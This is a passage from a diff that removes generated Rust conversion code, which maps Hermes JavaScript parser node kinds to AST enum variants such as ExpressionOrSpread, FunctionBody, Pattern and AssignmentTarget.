-            NodeKind::ObjectExpression => {
-                let node = ObjectExpression::convert(cx, node);
-                ExpressionOrSuper::Expression(
-                    Expression::ObjectExpression(Box::new(node)),
-                )
-            }
-            NodeKind::OptionalCallExpression => {
-                let node = OptionalCallExpression::convert(cx, node);
-                ExpressionOrSuper::Expression(
-                    Expression::OptionalCallExpression(Box::new(node)),
-                )
-            }
-            NodeKind::OptionalMemberExpression => {
-                let node = OptionalMemberExpression::convert(cx, node);
-                ExpressionOrSuper::Expression(
-                    Expression::OptionalMemberExpression(Box::new(node)),
-                )
-            }
-            NodeKind::RegExpLiteral => {
-                let node = RegExpLiteral::convert(cx, node);
-                ExpressionOrSuper::Expression(Expression::RegExpLiteral(Box::new(node)))
-            }
-            NodeKind::SequenceExpression => {
-                let node = SequenceExpression::convert(cx, node);
-                ExpressionOrSuper::Expression(
-                    Expression::SequenceExpression(Box::new(node)),
-                )
-            }
-            NodeKind::StringLiteral => {
-                let node = StringLiteral::convert(cx, node);
-                ExpressionOrSuper::Expression(Expression::StringLiteral(Box::new(node)))
-            }
-            NodeKind::TaggedTemplateExpression => {
-                let node = TaggedTemplateExpression::convert(cx, node);
-                ExpressionOrSuper::Expression(
-                    Expression::TaggedTemplateExpression(Box::new(node)),
-                )
-            }
-            NodeKind::TemplateLiteral => {
-                let node = TemplateLiteral::convert(cx, node);
-                ExpressionOrSuper::Expression(
-                    Expression::TemplateLiteral(Box::new(node)),
-                )
-            }
-            NodeKind::ThisExpression => {
-                let node = ThisExpression::convert(cx, node);
-                ExpressionOrSuper::Expression(Expression::ThisExpression(Box::new(node)))
-            }
-            NodeKind::UnaryExpression => {
-                let node = UnaryExpression::convert(cx, node);
-                ExpressionOrSuper::Expression(
-                    Expression::UnaryExpression(Box::new(node)),
-                )
-            }
-            NodeKind::UpdateExpression => {
-                let node = UpdateExpression::convert(cx, node);
-                ExpressionOrSuper::Expression(
-                    Expression::UpdateExpression(Box::new(node)),
-                )
-            }
-            NodeKind::YieldExpression => {
-                let node = YieldExpression::convert(cx, node);
-                ExpressionOrSuper::Expression(
-                    Expression::YieldExpression(Box::new(node)),
-                )
-            }
-            NodeKind::Super => {
-                let node = Super::convert(cx, node);
-                ExpressionOrSuper::Super(Box::new(node))
-            }
-            _ => {
-                panic!(
-                    "Unexpected node kind `{:?}` for `{}`", node_ref.kind,
-                    "ExpressionOrSuper"
-                )
-            }
-        }
-    }
-}
-impl FromHermes for ExpressionOrSpread {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        match node_ref.kind {
-            NodeKind::ArrayExpression => {
-                let node = ArrayExpression::convert(cx, node);
-                ExpressionOrSpread::Expression(
-                    Expression::ArrayExpression(Box::new(node)),
-                )
-            }
-            NodeKind::ArrowFunctionExpression => {
-                let node = ArrowFunctionExpression::convert(cx, node);
-                ExpressionOrSpread::Expression(
-                    Expression::ArrowFunctionExpression(Box::new(node)),
-                )
-            }
-            NodeKind::AssignmentExpression => {
-                let node = AssignmentExpression::convert(cx, node);
-                ExpressionOrSpread::Expression(
-                    Expression::AssignmentExpression(Box::new(node)),
-                )
-            }
-            NodeKind::AwaitExpression => {
-                let node = AwaitExpression::convert(cx, node);
-                ExpressionOrSpread::Expression(
-                    Expression::AwaitExpression(Box::new(node)),
-                )
-            }
-            NodeKind::BinaryExpression => {
-                let node = BinaryExpression::convert(cx, node);
-                ExpressionOrSpread::Expression(
-                    Expression::BinaryExpression(Box::new(node)),
-                )
-            }
-            NodeKind::BooleanLiteral => {
-                let node = BooleanLiteral::convert(cx, node);
-                ExpressionOrSpread::Expression(
-                    Expression::BooleanLiteral(Box::new(node)),
-                )
-            }
-            NodeKind::CallExpression => {
-                let node = CallExpression::convert(cx, node);
-                ExpressionOrSpread::Expression(
-                    Expression::CallExpression(Box::new(node)),
-                )
-            }
-            NodeKind::ClassExpression => {
-                let node = ClassExpression::convert(cx, node);
-                ExpressionOrSpread::Expression(
-                    Expression::ClassExpression(Box::new(node)),
-                )
-            }
-            NodeKind::ConditionalExpression => {
-                let node = ConditionalExpression::convert(cx, node);
-                ExpressionOrSpread::Expression(
-                    Expression::ConditionalExpression(Box::new(node)),
-                )
-            }
-            NodeKind::CoverTypedIdentifier => {
-                let node = CoverTypedIdentifier::convert(cx, node);
-                ExpressionOrSpread::Expression(
-                    Expression::CoverTypedIdentifier(Box::new(node)),
-                )
-            }
-            NodeKind::FunctionExpression => {
-                let node = FunctionExpression::convert(cx, node);
-                ExpressionOrSpread::Expression(
-                    Expression::FunctionExpression(Box::new(node)),
-                )
-            }
-            NodeKind::Identifier => {
-                let node = Identifier::convert(cx, node);
-                ExpressionOrSpread::Expression(Expression::Identifier(Box::new(node)))
-            }
-            NodeKind::ImportExpression => {
-                let node = ImportExpression::convert(cx, node);
-                ExpressionOrSpread::Expression(
-                    Expression::ImportExpression(Box::new(node)),
-                )
-            }
-            NodeKind::JSXElement => {
-                let node = JSXElement::convert(cx, node);
-                ExpressionOrSpread::Expression(Expression::JSXElement(Box::new(node)))
-            }
-            NodeKind::JSXFragment => {
-                let node = JSXFragment::convert(cx, node);
-                ExpressionOrSpread::Expression(Expression::JSXFragment(Box::new(node)))
-            }
-            NodeKind::LogicalExpression => {
-                let node = LogicalExpression::convert(cx, node);
-                ExpressionOrSpread::Expression(
-                    Expression::LogicalExpression(Box::new(node)),
-                )
-            }
-            NodeKind::MemberExpression => {
-                let node = MemberExpression::convert(cx, node);
-                ExpressionOrSpread::Expression(
-                    Expression::MemberExpression(Box::new(node)),
-                )
-            }
-            NodeKind::MetaProperty => {
-                let node = MetaProperty::convert(cx, node);
-                ExpressionOrSpread::Expression(Expression::MetaProperty(Box::new(node)))
-            }
-            NodeKind::NewExpression => {
-                let node = NewExpression::convert(cx, node);
-                ExpressionOrSpread::Expression(Expression::NewExpression(Box::new(node)))
-            }
-            NodeKind::NullLiteral => {
-                let node = NullLiteral::convert(cx, node);
-                ExpressionOrSpread::Expression(Expression::NullLiteral(Box::new(node)))
-            }
-            NodeKind::NumericLiteral => {
-                let node = NumericLiteral::convert(cx, node);
-                ExpressionOrSpread::Expression(
-                    Expression::NumericLiteral(Box::new(node)),
-                )
-            }
-            NodeKind::ObjectExpression => {
-                let node = ObjectExpression::convert(cx, node);
-                ExpressionOrSpread::Expression(
-                    Expression::ObjectExpression(Box::new(node)),
-                )
-            }
-            NodeKind::OptionalCallExpression => {
-                let node = OptionalCallExpression::convert(cx, node);
-                ExpressionOrSpread::Expression(
-                    Expression::OptionalCallExpression(Box::new(node)),
-                )
-            }
-            NodeKind::OptionalMemberExpression => {
-                let node = OptionalMemberExpression::convert(cx, node);
-                ExpressionOrSpread::Expression(
-                    Expression::OptionalMemberExpression(Box::new(node)),
-                )
-            }
-            NodeKind::RegExpLiteral => {
-                let node = RegExpLiteral::convert(cx, node);
-                ExpressionOrSpread::Expression(Expression::RegExpLiteral(Box::new(node)))
-            }
-            NodeKind::SequenceExpression => {
-                let node = SequenceExpression::convert(cx, node);
-                ExpressionOrSpread::Expression(
-                    Expression::SequenceExpression(Box::new(node)),
-                )
-            }
-            NodeKind::StringLiteral => {
-                let node = StringLiteral::convert(cx, node);
-                ExpressionOrSpread::Expression(Expression::StringLiteral(Box::new(node)))
-            }
-            NodeKind::TaggedTemplateExpression => {
-                let node = TaggedTemplateExpression::convert(cx, node);
-                ExpressionOrSpread::Expression(
-                    Expression::TaggedTemplateExpression(Box::new(node)),
-                )
-            }
-            NodeKind::TemplateLiteral => {
-                let node = TemplateLiteral::convert(cx, node);
-                ExpressionOrSpread::Expression(
-                    Expression::TemplateLiteral(Box::new(node)),
-                )
-            }
-            NodeKind::ThisExpression => {
-                let node = ThisExpression::convert(cx, node);
-                ExpressionOrSpread::Expression(
-                    Expression::ThisExpression(Box::new(node)),
-                )
-            }
-            NodeKind::UnaryExpression => {
-                let node = UnaryExpression::convert(cx, node);
-                ExpressionOrSpread::Expression(
-                    Expression::UnaryExpression(Box::new(node)),
-                )
-            }
-            NodeKind::UpdateExpression => {
-                let node = UpdateExpression::convert(cx, node);
-                ExpressionOrSpread::Expression(
-                    Expression::UpdateExpression(Box::new(node)),
-                )
-            }
-            NodeKind::YieldExpression => {
-                let node = YieldExpression::convert(cx, node);
-                ExpressionOrSpread::Expression(
-                    Expression::YieldExpression(Box::new(node)),
-                )
-            }
-            NodeKind::SpreadElement => {
-                let node = SpreadElement::convert(cx, node);
-                ExpressionOrSpread::SpreadElement(Box::new(node))
-            }
-            _ => {
-                panic!(
-                    "Unexpected node kind `{:?}` for `{}`", node_ref.kind,
-                    "ExpressionOrSpread"
-                )
-            }
-        }
-    }
-}
-impl FromHermes for FunctionBody {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        match node_ref.kind {
-            NodeKind::BlockStatement => {
-                let node = BlockStatement::convert(cx, node);
-                FunctionBody::BlockStatement(Box::new(node))
-            }
-            NodeKind::ArrayExpression => {
-                let node = ArrayExpression::convert(cx, node);
-                FunctionBody::Expression(Expression::ArrayExpression(Box::new(node)))
-            }
-            NodeKind::ArrowFunctionExpression => {
-                let node = ArrowFunctionExpression::convert(cx, node);
-                FunctionBody::Expression(
-                    Expression::ArrowFunctionExpression(Box::new(node)),
-                )
-            }
-            NodeKind::AssignmentExpression => {
-                let node = AssignmentExpression::convert(cx, node);
-                FunctionBody::Expression(
-                    Expression::AssignmentExpression(Box::new(node)),
-                )
-            }
-            NodeKind::AwaitExpression => {
-                let node = AwaitExpression::convert(cx, node);
-                FunctionBody::Expression(Expression::AwaitExpression(Box::new(node)))
-            }
-            NodeKind::BinaryExpression => {
-                let node = BinaryExpression::convert(cx, node);
-                FunctionBody::Expression(Expression::BinaryExpression(Box::new(node)))
-            }
-            NodeKind::BooleanLiteral => {
-                let node = BooleanLiteral::convert(cx, node);
-                FunctionBody::Expression(Expression::BooleanLiteral(Box::new(node)))
-            }
-            NodeKind::CallExpression => {
-                let node = CallExpression::convert(cx, node);
-                FunctionBody::Expression(Expression::CallExpression(Box::new(node)))
-            }
-            NodeKind::ClassExpression => {
-                let node = ClassExpression::convert(cx, node);
-                FunctionBody::Expression(Expression::ClassExpression(Box::new(node)))
-            }
-            NodeKind::ConditionalExpression => {
-                let node = ConditionalExpression::convert(cx, node);
-                FunctionBody::Expression(
-                    Expression::ConditionalExpression(Box::new(node)),
-                )
-            }
-            NodeKind::CoverTypedIdentifier => {
-                let node = CoverTypedIdentifier::convert(cx, node);
-                FunctionBody::Expression(
-                    Expression::CoverTypedIdentifier(Box::new(node)),
-                )
-            }
-            NodeKind::FunctionExpression => {
-                let node = FunctionExpression::convert(cx, node);
-                FunctionBody::Expression(Expression::FunctionExpression(Box::new(node)))
-            }
-            NodeKind::Identifier => {
-                let node = Identifier::convert(cx, node);
-                FunctionBody::Expression(Expression::Identifier(Box::new(node)))
-            }
-            NodeKind::ImportExpression => {
-                let node = ImportExpression::convert(cx, node);
-                FunctionBody::Expression(Expression::ImportExpression(Box::new(node)))
-            }
-            NodeKind::JSXElement => {
-                let node = JSXElement::convert(cx, node);
-                FunctionBody::Expression(Expression::JSXElement(Box::new(node)))
-            }
-            NodeKind::JSXFragment => {
-                let node = JSXFragment::convert(cx, node);
-                FunctionBody::Expression(Expression::JSXFragment(Box::new(node)))
-            }
-            NodeKind::LogicalExpression => {
-                let node = LogicalExpression::convert(cx, node);
-                FunctionBody::Expression(Expression::LogicalExpression(Box::new(node)))
-            }
-            NodeKind::MemberExpression => {
-                let node = MemberExpression::convert(cx, node);
-                FunctionBody::Expression(Expression::MemberExpression(Box::new(node)))
-            }
-            NodeKind::MetaProperty => {
-                let node = MetaProperty::convert(cx, node);
-                FunctionBody::Expression(Expression::MetaProperty(Box::new(node)))
-            }
-            NodeKind::NewExpression => {
-                let node = NewExpression::convert(cx, node);
-                FunctionBody::Expression(Expression::NewExpression(Box::new(node)))
-            }
-            NodeKind::NullLiteral => {
-                let node = NullLiteral::convert(cx, node);
-                FunctionBody::Expression(Expression::NullLiteral(Box::new(node)))
-            }
-            NodeKind::NumericLiteral => {
-                let node = NumericLiteral::convert(cx, node);
-                FunctionBody::Expression(Expression::NumericLiteral(Box::new(node)))
-            }
-            NodeKind::ObjectExpression => {
-                let node = ObjectExpression::convert(cx, node);
-                FunctionBody::Expression(Expression::ObjectExpression(Box::new(node)))
-            }
-            NodeKind::OptionalCallExpression => {
-                let node = OptionalCallExpression::convert(cx, node);
-                FunctionBody::Expression(
-                    Expression::OptionalCallExpression(Box::new(node)),
-                )
-            }
-            NodeKind::OptionalMemberExpression => {
-                let node = OptionalMemberExpression::convert(cx, node);
-                FunctionBody::Expression(
-                    Expression::OptionalMemberExpression(Box::new(node)),
-                )
-            }
-            NodeKind::RegExpLiteral => {
-                let node = RegExpLiteral::convert(cx, node);
-                FunctionBody::Expression(Expression::RegExpLiteral(Box::new(node)))
-            }
-            NodeKind::SequenceExpression => {
-                let node = SequenceExpression::convert(cx, node);
-                FunctionBody::Expression(Expression::SequenceExpression(Box::new(node)))
-            }
-            NodeKind::StringLiteral => {
-                let node = StringLiteral::convert(cx, node);
-                FunctionBody::Expression(Expression::StringLiteral(Box::new(node)))
-            }
-            NodeKind::TaggedTemplateExpression => {
-                let node = TaggedTemplateExpression::convert(cx, node);
-                FunctionBody::Expression(
-                    Expression::TaggedTemplateExpression(Box::new(node)),
-                )
-            }
-            NodeKind::TemplateLiteral => {
-                let node = TemplateLiteral::convert(cx, node);
-                FunctionBody::Expression(Expression::TemplateLiteral(Box::new(node)))
-            }
-            NodeKind::ThisExpression => {
-                let node = ThisExpression::convert(cx, node);
-                FunctionBody::Expression(Expression::ThisExpression(Box::new(node)))
-            }
-            NodeKind::UnaryExpression => {
-                let node = UnaryExpression::convert(cx, node);
-                FunctionBody::Expression(Expression::UnaryExpression(Box::new(node)))
-            }
-            NodeKind::UpdateExpression => {
-                let node = UpdateExpression::convert(cx, node);
-                FunctionBody::Expression(Expression::UpdateExpression(Box::new(node)))
-            }
-            NodeKind::YieldExpression => {
-                let node = YieldExpression::convert(cx, node);
-                FunctionBody::Expression(Expression::YieldExpression(Box::new(node)))
-            }
-            _ => {
-                panic!(
-                    "Unexpected node kind `{:?}` for `{}`", node_ref.kind, "FunctionBody"
-                )
-            }
-        }
-    }
-}
-impl FromHermes for Pattern {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        match node_ref.kind {
-            NodeKind::Identifier => {
-                let node = Identifier::convert(cx, node);
-                Pattern::Identifier(Box::new(node))
-            }
-            NodeKind::ArrayPattern => {
-                let node = ArrayPattern::convert(cx, node);
-                Pattern::ArrayPattern(Box::new(node))
-            }
-            NodeKind::ObjectPattern => {
-                let node = ObjectPattern::convert(cx, node);
-                Pattern::ObjectPattern(Box::new(node))
-            }
-            NodeKind::RestElement => {
-                let node = RestElement::convert(cx, node);
-                Pattern::RestElement(Box::new(node))
-            }
-            NodeKind::AssignmentPattern => {
-                let node = AssignmentPattern::convert(cx, node);
-                Pattern::AssignmentPattern(Box::new(node))
-            }
-            _ => panic!("Unexpected node kind `{:?}` for `{}`", node_ref.kind, "Pattern"),
-        }
-    }
-}
-impl FromHermes for ForInit {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        match node_ref.kind {
-            NodeKind::ArrayExpression => {
-                let node = ArrayExpression::convert(cx, node);
-                ForInit::Expression(Expression::ArrayExpression(Box::new(node)))
-            }
-            NodeKind::ArrowFunctionExpression => {
-                let node = ArrowFunctionExpression::convert(cx, node);
-                ForInit::Expression(Expression::ArrowFunctionExpression(Box::new(node)))
-            }
-            NodeKind::AssignmentExpression => {
-                let node = AssignmentExpression::convert(cx, node);
-                ForInit::Expression(Expression::AssignmentExpression(Box::new(node)))
-            }
-            NodeKind::AwaitExpression => {
-                let node = AwaitExpression::convert(cx, node);
-                ForInit::Expression(Expression::AwaitExpression(Box::new(node)))
-            }
-            NodeKind::BinaryExpression => {
-                let node = BinaryExpression::convert(cx, node);
-                ForInit::Expression(Expression::BinaryExpression(Box::new(node)))
-            }
-            NodeKind::BooleanLiteral => {
-                let node = BooleanLiteral::convert(cx, node);
-                ForInit::Expression(Expression::BooleanLiteral(Box::new(node)))
-            }
-            NodeKind::CallExpression => {
-                let node = CallExpression::convert(cx, node);
-                ForInit::Expression(Expression::CallExpression(Box::new(node)))
-            }
-            NodeKind::ClassExpression => {
-                let node = ClassExpression::convert(cx, node);
-                ForInit::Expression(Expression::ClassExpression(Box::new(node)))
-            }
-            NodeKind::ConditionalExpression => {
-                let node = ConditionalExpression::convert(cx, node);
-                ForInit::Expression(Expression::ConditionalExpression(Box::new(node)))
-            }
-            NodeKind::CoverTypedIdentifier => {
-                let node = CoverTypedIdentifier::convert(cx, node);
-                ForInit::Expression(Expression::CoverTypedIdentifier(Box::new(node)))
-            }
-            NodeKind::FunctionExpression => {
-                let node = FunctionExpression::convert(cx, node);
-                ForInit::Expression(Expression::FunctionExpression(Box::new(node)))
-            }
-            NodeKind::Identifier => {
-                let node = Identifier::convert(cx, node);
-                ForInit::Expression(Expression::Identifier(Box::new(node)))
-            }
-            NodeKind::ImportExpression => {
-                let node = ImportExpression::convert(cx, node);
-                ForInit::Expression(Expression::ImportExpression(Box::new(node)))
-            }
-            NodeKind::JSXElement => {
-                let node = JSXElement::convert(cx, node);
-                ForInit::Expression(Expression::JSXElement(Box::new(node)))
-            }
-            NodeKind::JSXFragment => {
-                let node = JSXFragment::convert(cx, node);
-                ForInit::Expression(Expression::JSXFragment(Box::new(node)))
-            }
-            NodeKind::LogicalExpression => {
-                let node = LogicalExpression::convert(cx, node);
-                ForInit::Expression(Expression::LogicalExpression(Box::new(node)))
-            }
-            NodeKind::MemberExpression => {
-                let node = MemberExpression::convert(cx, node);
-                ForInit::Expression(Expression::MemberExpression(Box::new(node)))
-            }
-            NodeKind::MetaProperty => {
-                let node = MetaProperty::convert(cx, node);
-                ForInit::Expression(Expression::MetaProperty(Box::new(node)))
-            }
-            NodeKind::NewExpression => {
-                let node = NewExpression::convert(cx, node);
-                ForInit::Expression(Expression::NewExpression(Box::new(node)))
-            }
-            NodeKind::NullLiteral => {
-                let node = NullLiteral::convert(cx, node);
-                ForInit::Expression(Expression::NullLiteral(Box::new(node)))
-            }
-            NodeKind::NumericLiteral => {
-                let node = NumericLiteral::convert(cx, node);
-                ForInit::Expression(Expression::NumericLiteral(Box::new(node)))
-            }
-            NodeKind::ObjectExpression => {
-                let node = ObjectExpression::convert(cx, node);
-                ForInit::Expression(Expression::ObjectExpression(Box::new(node)))
-            }
-            NodeKind::OptionalCallExpression => {
-                let node = OptionalCallExpression::convert(cx, node);
-                ForInit::Expression(Expression::OptionalCallExpression(Box::new(node)))
-            }
-            NodeKind::OptionalMemberExpression => {
-                let node = OptionalMemberExpression::convert(cx, node);
-                ForInit::Expression(Expression::OptionalMemberExpression(Box::new(node)))
-            }
-            NodeKind::RegExpLiteral => {
-                let node = RegExpLiteral::convert(cx, node);
-                ForInit::Expression(Expression::RegExpLiteral(Box::new(node)))
-            }
-            NodeKind::SequenceExpression => {
-                let node = SequenceExpression::convert(cx, node);
-                ForInit::Expression(Expression::SequenceExpression(Box::new(node)))
-            }
-            NodeKind::StringLiteral => {
-                let node = StringLiteral::convert(cx, node);
-                ForInit::Expression(Expression::StringLiteral(Box::new(node)))
-            }
-            NodeKind::TaggedTemplateExpression => {
-                let node = TaggedTemplateExpression::convert(cx, node);
-                ForInit::Expression(Expression::TaggedTemplateExpression(Box::new(node)))
-            }
-            NodeKind::TemplateLiteral => {
-                let node = TemplateLiteral::convert(cx, node);
-                ForInit::Expression(Expression::TemplateLiteral(Box::new(node)))
-            }
-            NodeKind::ThisExpression => {
-                let node = ThisExpression::convert(cx, node);
-                ForInit::Expression(Expression::ThisExpression(Box::new(node)))
-            }
-            NodeKind::UnaryExpression => {
-                let node = UnaryExpression::convert(cx, node);
-                ForInit::Expression(Expression::UnaryExpression(Box::new(node)))
-            }
-            NodeKind::UpdateExpression => {
-                let node = UpdateExpression::convert(cx, node);
-                ForInit::Expression(Expression::UpdateExpression(Box::new(node)))
-            }
-            NodeKind::YieldExpression => {
-                let node = YieldExpression::convert(cx, node);
-                ForInit::Expression(Expression::YieldExpression(Box::new(node)))
-            }
-            NodeKind::VariableDeclaration => {
-                let node = VariableDeclaration::convert(cx, node);
-                ForInit::VariableDeclaration(Box::new(node))
-            }
-            _ => panic!("Unexpected node kind `{:?}` for `{}`", node_ref.kind, "ForInit"),
-        }
-    }
-}
-impl FromHermes for ForInInit {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        match node_ref.kind {
-            NodeKind::Identifier => {
-                let node = Identifier::convert(cx, node);
-                ForInInit::Pattern(Pattern::Identifier(Box::new(node)))
-            }
-            NodeKind::ArrayPattern => {
-                let node = ArrayPattern::convert(cx, node);
-                ForInInit::Pattern(Pattern::ArrayPattern(Box::new(node)))
-            }
-            NodeKind::ObjectPattern => {
-                let node = ObjectPattern::convert(cx, node);
-                ForInInit::Pattern(Pattern::ObjectPattern(Box::new(node)))
-            }
-            NodeKind::RestElement => {
-                let node = RestElement::convert(cx, node);
-                ForInInit::Pattern(Pattern::RestElement(Box::new(node)))
-            }
-            NodeKind::AssignmentPattern => {
-                let node = AssignmentPattern::convert(cx, node);
-                ForInInit::Pattern(Pattern::AssignmentPattern(Box::new(node)))
-            }
-            NodeKind::VariableDeclaration => {
-                let node = VariableDeclaration::convert(cx, node);
-                ForInInit::VariableDeclaration(Box::new(node))
-            }
-            _ => {
-                panic!(
-                    "Unexpected node kind `{:?}` for `{}`", node_ref.kind, "ForInInit"
-                )
-            }
-        }
-    }
-}
-impl FromHermes for PropertyOrSpreadElement {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        match node_ref.kind {
-            NodeKind::Property => {
-                let node = Property::convert(cx, node);
-                PropertyOrSpreadElement::Property(Box::new(node))
-            }
-            NodeKind::SpreadElement => {
-                let node = SpreadElement::convert(cx, node);
-                PropertyOrSpreadElement::SpreadElement(Box::new(node))
-            }
-            _ => {
-                panic!(
-                    "Unexpected node kind `{:?}` for `{}`", node_ref.kind,
-                    "PropertyOrSpreadElement"
-                )
-            }
-        }
-    }
-}
-impl FromHermes for AssignmentPropertyOrRestElement {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        match node_ref.kind {
-            NodeKind::Property => {
-                let node = AssignmentProperty::convert(cx, node);
-                AssignmentPropertyOrRestElement::AssignmentProperty(Box::new(node))
-            }
-            NodeKind::RestElement => {
-                let node = RestElement::convert(cx, node);
-                AssignmentPropertyOrRestElement::RestElement(Box::new(node))
-            }
-            _ => {
-                panic!(
-                    "Unexpected node kind `{:?}` for `{}`", node_ref.kind,
-                    "AssignmentPropertyOrRestElement"
-                )
-            }
-        }
-    }
-}
-impl FromHermes for AssignmentTarget {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        match node_ref.kind {
-            NodeKind::Identifier => {
-                let node = Identifier::convert(cx, node);
-                AssignmentTarget::Pattern(Pattern::Identifier(Box::new(node)))
-            }
-            NodeKind::ArrayPattern => {
-                let node = ArrayPattern::convert(cx, node);
-                AssignmentTarget::Pattern(Pattern::ArrayPattern(Box::new(node)))
-            }
-            NodeKind::ObjectPattern => {
-                let node = ObjectPattern::convert(cx, node);
-                AssignmentTarget::Pattern(Pattern::ObjectPattern(Box::new(node)))
-            }
-            NodeKind::RestElement => {
-                let node = RestElement::convert(cx, node);
-                AssignmentTarget::Pattern(Pattern::RestElement(Box::new(node)))
-            }
-            NodeKind::AssignmentPattern => {
-                let node = AssignmentPattern::convert(cx, node);
-                AssignmentTarget::Pattern(Pattern::AssignmentPattern(Box::new(node)))
-            }
-            NodeKind::ArrayExpression => {
-                let node = ArrayExpression::convert(cx, node);
-                AssignmentTarget::Expression(Expression::ArrayExpression(Box::new(node)))
-            }
-            NodeKind::ArrowFunctionExpression => {
-                let node = ArrowFunctionExpression::convert(cx, node);
-                AssignmentTarget::Expression(
-                    Expression::ArrowFunctionExpression(Box::new(node)),
-                )
-            }
-            NodeKind::AssignmentExpression => {
-                let node = AssignmentExpression::convert(cx, node);
-                AssignmentTarget::Expression(
-                    Expression::AssignmentExpression(Box::new(node)),
-                )
-            }
-            NodeKind::AwaitExpression => {
-                let node = AwaitExpression::convert(cx, node);
-                AssignmentTarget::Expression(Expression::AwaitExpression(Box::new(node)))
-            }
-            NodeKind::BinaryExpression => {
-                let node = BinaryExpression::convert(cx, node);
-                AssignmentTarget::Expression(
-                    Expression::BinaryExpression(Box::new(node)),
-                )
-            }
-            NodeKind::BooleanLiteral => {
-                let node = BooleanLiteral::convert(cx, node);
-                AssignmentTarget::Expression(Expression::BooleanLiteral(Box::new(node)))
-            }
-            NodeKind::CallExpression => {
-                let node = CallExpression::convert(cx, node);
-                AssignmentTarget::Expression(Expression::CallExpression(Box::new(node)))
-            }
-            NodeKind::ClassExpression => {
-                let node = ClassExpression::convert(cx, node);
-                AssignmentTarget::Expression(Expression::ClassExpression(Box::new(node)))
-            }
-            NodeKind::ConditionalExpression => {
-                let node = ConditionalExpression::convert(cx, node);
-                AssignmentTarget::Expression(
-                    Expression::ConditionalExpression(Box::new(node)),
-                )
-            }
-            NodeKind::CoverTypedIdentifier => {
-                let node = CoverTypedIdentifier::convert(cx, node);
-                AssignmentTarget::Expression(
-                    Expression::CoverTypedIdentifier(Box::new(node)),
-                )
-            }
-            NodeKind::FunctionExpression => {
-                let node = FunctionExpression::convert(cx, node);
-                AssignmentTarget::Expression(
-                    Expression::FunctionExpression(Box::new(node)),
-                )
-            }
-            NodeKind::ImportExpression => {
-                let node = ImportExpression::convert(cx, node);
-                AssignmentTarget::Expression(
-                    Expression::ImportExpression(Box::new(node)),
-                )
-            }
-            NodeKind::JSXElement => {
-                let node = JSXElement::convert(cx, node);
-                AssignmentTarget::Expression(Expression::JSXElement(Box::new(node)))
-            }
-            NodeKind::JSXFragment => {
-                let node = JSXFragment::convert(cx, node);
-                AssignmentTarget::Expression(Expression::JSXFragment(Box::new(node)))
-            }
-            NodeKind::LogicalExpression => {
-                let node = LogicalExpression::convert(cx, node);
-                AssignmentTarget::Expression(
-                    Expression::LogicalExpression(Box::new(node)),
-                )
-            }
-            NodeKind::MemberExpression => {
-                let node = MemberExpression::convert(cx, node);
-                AssignmentTarget::Expression(
-                    Expression::MemberExpression(Box::new(node)),
-                )
-            }
-            NodeKind::MetaProperty => {
-                let node = MetaProperty::convert(cx, node);
-                AssignmentTarget::Expression(Expression::MetaProperty(Box::new(node)))
-            }
-            NodeKind::NewExpression => {
-                let node = NewExpression::convert(cx, node);
-                AssignmentTarget::Expression(Expression::NewExpression(Box::new(node)))
-            }
-            NodeKind::NullLiteral => {
-                let node = NullLiteral::convert(cx, node);
-                AssignmentTarget::Expression(Expression::NullLiteral(Box::new(node)))
-            }
-            NodeKind::NumericLiteral => {
-                let node = NumericLiteral::convert(cx, node);
-                AssignmentTarget::Expression(Expression::NumericLiteral(Box::new(node)))
-            }
-            NodeKind::ObjectExpression => {
-                let node = ObjectExpression::convert(cx, node);
-                AssignmentTarget::Expression(
-                    Expression::ObjectExpression(Box::new(node)),
-                )
-            }
-            NodeKind::OptionalCallExpression => {
-                let node = OptionalCallExpression::convert(cx, node);
-                AssignmentTarget::Expression(
-                    Expression::OptionalCallExpression(Box::new(node)),
-                )
-            }
-            NodeKind::OptionalMemberExpression => {
-                let node = OptionalMemberExpression::convert(cx, node);
-                AssignmentTarget::Expression(
-                    Expression::OptionalMemberExpression(Box::new(node)),
-                )
-            }
-            NodeKind::RegExpLiteral => {
-                let node = RegExpLiteral::convert(cx, node);
-                AssignmentTarget::Expression(Expression::RegExpLiteral(Box::new(node)))
-            }
-            NodeKind::SequenceExpression => {
-                let node = SequenceExpression::convert(cx, node);
-                AssignmentTarget::Expression(
-                    Expression::SequenceExpression(Box::new(node)),
-                )
-            }
-            NodeKind::StringLiteral => {
-                let node = StringLiteral::convert(cx, node);
-                AssignmentTarget::Expression(Expression::StringLiteral(Box::new(node)))
-            }
-            NodeKind::TaggedTemplateExpression => {
-                let node = TaggedTemplateExpression::convert(cx, node);
-                AssignmentTarget::Expression(
-                    Expression::TaggedTemplateExpression(Box::new(node)),
-                )
-            }
-            NodeKind::TemplateLiteral => {
-                let node = TemplateLiteral::convert(cx, node);
-                AssignmentTarget::Expression(Expression::TemplateLiteral(Box::new(node)))
-            }
-            NodeKind::ThisExpression => {
-                let node = ThisExpression::convert(cx, node);
-                AssignmentTarget::Expression(Expression::ThisExpression(Box::new(node)))
-            }
-            NodeKind::UnaryExpression => {
-                let node = UnaryExpression::convert(cx, node);
-                AssignmentTarget::Expression(Expression::UnaryExpression(Box::new(node)))
-            }
-            NodeKind::UpdateExpression => {
-                let node = UpdateExpression::convert(cx, node);
-                AssignmentTarget::Expression(
-                    Expression::UpdateExpression(Box::new(node)),
-                )
-            }
-            NodeKind::YieldExpression => {
-                let node = YieldExpression::convert(cx, node);
-                AssignmentTarget::Expression(Expression::YieldExpression(Box::new(node)))
-            }
-            _ => {
-                panic!(
-                    "Unexpected node kind `{:?}` for `{}`", node_ref.kind,
-                    "AssignmentTarget"
-                )
-            }
-        }
-    }
-}
-impl FromHermes for ChainElement {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        match node_ref.kind {
-            NodeKind::CallExpression => {
-                let node = CallExpression::convert(cx, node);
-                ChainElement::CallExpression(Box::new(node))
-            }
